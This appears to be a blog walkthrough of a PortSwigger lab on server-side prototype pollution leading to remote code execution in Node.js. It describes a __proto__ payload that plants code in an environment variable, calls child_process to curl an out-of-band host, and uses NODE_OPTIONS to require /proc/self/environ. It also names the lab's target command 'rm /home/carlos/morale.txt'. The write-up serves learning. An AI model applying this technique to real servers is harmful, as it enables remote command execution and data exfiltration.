Hey my dear reader, Prototype pollution is a JavaScript-based vulnerability where an attacker can add new properties to the global prototype (such as Object.prototype). And if this happens on the server-side (Node.js), that property can be inherited by any object — and if there is any "code on the server that reads that property and does something to the system", then unwanted behavior can occur under the attacker's control (DoIn, Privilege-Escalation or RCE).

only for learning purpass, Today we will try to solve the lab "Remote code execution via server-side prototype pollution" by PortsWigger. Basically, there is a server that recursively merges user-controlled JSON/objects with the server's config/objects — and "prototype pollution is possible because the __proto__/constructor/prototype keys are not filtered in that mission." As a result, it is possible for any part of the server to inject them and use the property to bypass the security boundary.

So let's get started…

None
After Login
  • First we capture the requests in burp suite.
None
marking: login & change-address & /admin/jobs
  • We have not initially checked through the burp suite whether there is Server-Side Prototype Pollution or not.
None
search by burpsuite propational in 'change-address'
None
Server-Side Prototype Pollution was found on this web site. Using the technique spacing __proto__. It seems possible to alter the JSON spacing of a response using prototype pollution.
None
Object.prototype.isAdmin = true; // true due to prototype pollution
  • We check if the prototype works with the normal payload, which worked successfully.
None
check with "__proto__":{"color":"red"}
None
this our main script

What's happening here — for learning purposes only:

proto: This refers to prototype pollution. That is, trying to add a new property to Object.prototype (or any other prototype) that affects all objects.

env → evil: Here, the value of an environment variable called evil — the value is actually JavaScript code: require('c…d_pr….s').e…nc('curl …')

That is, if that string is eventually executed somewhere via require/eval/require(), the server will run a shell command/HTTP call — which can result in RCE or data exfiltration.

NODE_OPTIONS: " — require /proc/self/environ" — NODE_OPTIONS is an env variable that controls the launch flags of Node.js. If you say — require <file> , Node.js requires() that file when the process starts.

/proc/self/environ is the environment variables of the Linux process written in one line (binary/null-separated). If somehow such JS code gets into that file, and Node requires it, then the code can be executed. (The trick here is — inject the JS code into the environment through prototype pollution, then require that environment with NODE_OPTIONS.)

curl m3qt…oastify.com — This URL is usually the address of an OAST/OOAST (out-of-band application security testing) test server — that is, the attacker wants to see if any outbound requests have come from the server (callback). But in reality, it can be any server controlled by the attacker.

None
  • We try with burp suite Collaborator where we succeed. But That's not our job.
None
  • To solve this lab we have to do remote execution of a command that deletes the file /home/carlos/morale.txt (rm /home/carlos/morale.txt)
None
To solve this lab we have to do remote execution of a command that deletes the file /home/carlos/morale.txt

Finally we understood that merge, __proto__, NODE_OPTIONS, child_process can be very dangerous. And in the meantime we get a pop-up message, congratulating us that the issue with your room has been resolved.

None
If you stay with me, you can learn a lot….